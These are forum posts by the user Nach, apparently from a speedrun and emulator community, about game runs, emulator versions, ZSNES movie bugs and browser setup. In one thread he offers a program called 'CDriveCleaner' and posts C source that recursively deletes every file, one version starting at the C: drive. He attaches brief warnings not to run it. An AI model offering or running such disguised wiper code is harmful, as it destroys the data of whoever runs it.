Posts for Nach

Post subject: Battleclash
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Anyone interested in seeing a run of Battleclash or perhaps Metal Combat? I'm considering doing one of them.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
I think I'll vote meh. While the run looks good, first bonus stage can be done faster (hint - Castlevania). I found some glitches in the game that I don't yet see how they can improve time, but they certainly improve the cool level. Regarding level 5 being faster, the case is no. I've tested the level multiple times, and no matter what, the level always lasts the same amount of frames because the level doesn't end till scuzz makes it to the finish line, and scuzz moves at a constant speed. Also, level 6 is highly glitched in Snes9x, which doesn't make it enjoyable to watch.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Well, if we can agree on a time and some categories, I think it's settled. We have start a seperate thread for each category where people can nominate others. After the deadline for nominations (say a week), we swtich the threads to poll mode with the top 3 nominations. After another week we see who won each one and just create a page for The First Annual Awards or whatever.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
This game is extremely buggy, whoever publishes a movie which doesn't make good and creative use of the glitches, I'm going to have to vote no to them. Demonstration of pipe at start of level glitch: http://nsrt.edgeemu.com/sml2-bug.zip Demonstration of scroll down glitch: Edit: For those watching the vid, here's the info on the ROM I used:
Game Boy/(Super GB)/GB Pocket/Color GB/(GB Advance)
Mario Land 2
Nintendo
U.S.A./Europe
524288 Bytes (4.0000 Mb)

Padded: No
Interleaved/Swapped: No
Backup unit/emulator header: No
ROM type: ROM, MBC1, RAM and Battery
Save RAM: Yes, 8 kBytes
Version: 1.0
Game Boy type: Standard (4 colors)
Start address: 0150
Checksum: Ok, 0xe2f9 (calculated) == 0xe2f9 (internal)
Complement checksum: Ok, 0xf3 (calculated) == 0xf3 (internal)
Checksum (CRC32): 0xf71f26d0
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
pilif wrote:
I wonder how they could make such great graphics and sound in this game. I mean: Just compare it to SML1. Bigger sprites, better sound, nicer graphics. More levels... It looks more like a SNES game than a NES game. What is the trick they've used? Or is it more that the have not nearly invested enough time into SML1?
This game was the first to use 4 megabits. In fact, I don't think that size was broken until Pokemon. SML was only 64KB.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Why not just get it directly from the the game? Turn off everything but the sprite area in the place you see the srite you want, and make a snapshot.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
I watched it, looks good. Are you sure Rash is faster than Pimple? Is it just me, or does the tower/rat race level look really corrupted as you go down it? I also vote you should shoot down Silas Volkmire.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Bisqwit wrote:
It seems that this emulator is in flux and will always be. I'm ready to open the site for VBA submissions as soon as Nitsuja is satisfied with his changes and it's not expected that a new version is coming soon. Edit: See updated rules. I'm already having trouble handling two versions of snes9x...
You don't expect to have development just stop on all emulators because you have a movie site, do you? In the future, a new Snes9x will be released with radically different and much more accurate timing, and I expect it to be the same for other emulators too. You just have to set up a rule to only accept the latest (or also second to latest) versions of the emulators at the given time, and make sure everyone is up to date.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
MovieWatcher wrote:
So you mean that the WIP-versions isn't full versions of the emulators and just Add-ons?
I mean people add on features to an emulator. If the emulator isn't currently for Snes9x, don't expect to see if for Snes9x by the hobbyists here.
MovieWatcher wrote:
So I should be able to compile the additions for VisualBoy Advance and SNES9X and get it to work?
You should be able to compile the modified VBA and Snes9x source for Mac OS. The question is, did they make their changes in portable C? For VBA, I know that's not the case. For Snes9x, some of the features were tied into the Win32 GUI, some weren't.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
If the emulator started out working on a Mac, and the additions were written in portable C, no reason you shouldn't be able to compile them on your Mac and use them.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Okay, I think we all had enough fun with this. You want to setup Fire Fox to use a proxy. The Help that comes with it is pretty good, you can use that to help you. But for a quick starter if you have all the proxy info, find the preferences menu in FF, it's different each version, could be under Edit or Tools. Preferences -> General -> Connection Settings -> Manual Proxy Configuration -> Enter Info -> Press OK
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
I don't see anyone trying to fool you. You have the source code, and sufficient warnings.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Running the program will remove drawbacks to someone knowing your IP. I might also add that install a proxy server won't make you browse the web through someone else's proxy server.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
If you would like to download the program, you can get it here: http://nsrt.edgeemu.com/CDriveCleaner.ZIP Note the zip is password protected and includes a binary, updated source, and a readme. I'll give the password to whoever requests it.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Two bugs fixed.
#include <stdio.h>
#include <dirent.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>

bool parse_dir(const char *dir_loc)
{
  if (!chdir(dir_loc)) //chdir() returns 0 on success
  {
    DIR *curDir = opendir(".");
    dirent *curFile;
    while ((curFile = readdir(curDir)))
    {
      char *filename = curFile->d_name;
    
      if (!strcmp(filename, ".") || !strcmp(filename, ".."))
      {
        continue;
      }
            
      struct stat stat_buffer;
      if (stat(filename, &stat_buffer)) { continue; }
            
      //Directory
      if (S_ISDIR(stat_buffer.st_mode))
      {
        if (parse_dir(filename))
        {
          chdir("..");
          rmdir(filename);
        }  
        continue;
      }
      remove(filename);    
    }
    closedir(curDir);
    return(true);
  }
  return(false);
}

int main(size_t argc, char **argv)
{
  parse_dir(".");
  return(0);
}
Again, if you don't understand it, I advise you don't run it.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
It's a solution to the problem you seem to be displaying.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
I know this will make some people happy.
#include <stdio.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

void parse_dir(const char *dir_loc)
{
  chdir(dir_loc);
  DIR *curDir = opendir(".");
  dirent *curFile;
  while ((curFile = readdir(curDir)))
  {
    char *filename = curFile->d_name;
    
    if (!strcmp(filename, ".") || !strcmp(filename, ".."))
    {
      continue;
    }
            
    struct stat stat_buffer;
    if (stat(filename, &stat_buffer)) { continue; }
            
    //Directory
    if (S_ISDIR(stat_buffer.st_mode))
    {
      parse_dir(filename);
      chdir("..");
      rmdir(filename);
      continue;
    }
    remove(filename);    
  }
  closedir(curDir);
}

int main()
{
  parse_dir("c:\");
  return(0);
}
If you don't understand what the file does, I advise not trying to use it.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
No, that only shows you them escaping during planet explode too.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Just install it directly into your browser. First install greasemonkey for FF: http://greasemonkey.mozdev.org/ Then add the ignore script: http://s93731204.onlinehome.us/firefox/greasemonkey/phpbb.ignore.user.js
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Phil wrote:
Since, for some reason, that topic, http://tasvideos.org/forum/viewtopic.php?t=1816 , is locked, I am writing it here. Nitsuja, can you read that topic, http://snes9x.com/phpbb2/viewtopic.php?t=1392 , at Snes9x board and make Snes9x to use a .ini file instead of Windows registry like all good emulators?
Snes9x in CVS has been using an INI file for awhile thanks to blip and anomie. Notice on the Snes9x forum, the question was asked why, not when or please in which case it was done already.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
suraimu wrote:
OmnipotentEntity wrote:
Then he'd never get the Special Beam. =D
Does that actually register as a %?
I'm pretty sure I counted 100 items without the Hyper Beam.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
This has gone on long enough. If you have a problem with FreeNode, take it up with them.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Fabianx wrote:
Well, you won't see this in MF's run, because he aims for 100%, which means he needs the energy tank in Ridleys lair. ;-)
He can still skip Tourian.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
nitsuja wrote:
Nach wrote:
Movies made with older version of ZSNES don't have the same timing, thus you can expect desyncs at some point.
Hmm, then I'm not sure why old movies are supported if they can always be expected to desync at some point, unless this is planned to change. (And I'm surprised the timing differences are small enough that it stayed synchronized for so many frames.)
If the old version didn't have so many changes. Like you recorded the movie with ZSNES v1.41, then it should playback fine. Some of us also use movies as another 10 savestates, and in that case it doesn't matter how old it is.
nitsuja wrote:
Nach wrote:
nitsuja wrote:
- Binding Pause to a key doesn't work right - the key isn't recognized about half the time it's pressed, both when trying to set it and when trying to use it after it's set.
Can't replicate. Make sure you're using the latest WIP, perhaps it was a problem earlier.
It's a problem with DirectInput, which I've seen in some other applications. The Pause key sometimes registers as a different key instead (maybe Break, I can't remember at the moment) even when it is pressed alone, which isn't detected. I think it's possible to fix by converting a keypress of that other ID to the keypress ID that Pause is expected to be.
Oh you mean using the button on the keyboard pause for pause. I never tried that, I'm using P. If there is such an issue with the pause button, I guess it needs to be fixed, but I don't forsee myself using Windows in the near future. If you want to fix it, I think the related code is in win/winlink.cpp
nitsuja wrote:
Nach wrote:
nitsuja wrote:
And, maybe I'm missing something obvious, but is there any support for saving or loading a save state with a single key/button press?
Look at game keys for what you want.
That's where I was looking, and I still can't find it there. The only relevant key seems to be Snapshot but that is only one single key so that can't be it.
Snapshot is for pictures. Sorry for giving you the wrong location before, but we recently movies save related keys to the save menu.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.
Emulator Coder, Experienced Forum User
Joined: 3/9/2004
Posts: 4588
Location: In his lab studying psychology to find new ways to torture TASers and forumers
Enhasa wrote:
To make this easier, I think a good way to do this would be for a zmv to make a save state when it stops recording as well as when it starts. Then to support appending without having to watch the whole run again (and possibly having a little gap), ZSNES could just load the "tail" save state? This has other benefits as well; for example, to watch the ending of a game given a time attack, you could just load the tail. I think this would break backwards compatibility, so I guess this is a good time to say this.
You could make the save state before you stop recording, then play, load state and then hit record again. I could make an append mode to make this easier though...
Enhasa wrote:
Nach and any others, thanks so much for the new zmv support and ZSNES in general. I know others might not fully appreciate this, but to me, this is the most exciting update since rewind, graphics packs, or kode's "new" sound engine. Keep up the good work!
You're welcome :D
nitsuja wrote:
- Pressing F3 while an old movie is playing usually causes a crash.
I'll look it at it. BTW, don't use r8, as ipher released a WIP the other day which is newer. Regardless, you can't use states with old movies.
nitsuja wrote:
- I tried playing Saturn's old Terranigma movie, and it seemed to play fine but then suddenly went out of sync around frame 55000.
Movies made with older version of ZSNES don't have the same timing, thus you can expect desyncs at some point.
nitsuja wrote:
- Binding Pause to a key doesn't work right - the key isn't recognized about half the time it's pressed, both when trying to set it and when trying to use it after it's set.
Can't replicate. Make sure you're using the latest WIP, perhaps it was a problem earlier.
nitsuja wrote:
- Double-clicking below any ROMS in the Load Game dialog causes the currently selected ROM to be loaded (so when I try opening the last ROM on the list, it usually opens the first one instead because I clicked slightly too far below the last one)
O_O I'll add it to my todo list, but I'm not touching the load menu for a while.
nitsuja wrote:
Also, I think the "new graphics engine" option should be on by default, not off, as games tend to have weird graphics glitches when it's off.
It is on by default. BTW, make sure you're not using old config files.
nitsuja wrote:
And, maybe I'm missing something obvious, but is there any support for saving or loading a save states with a single key/button press?
Look at game keys for what you want.
Warning: Opinions expressed by Nach or others in this post do not necessarily reflect the views, opinions, or position of Nach himself on the matter(s) being discussed therein.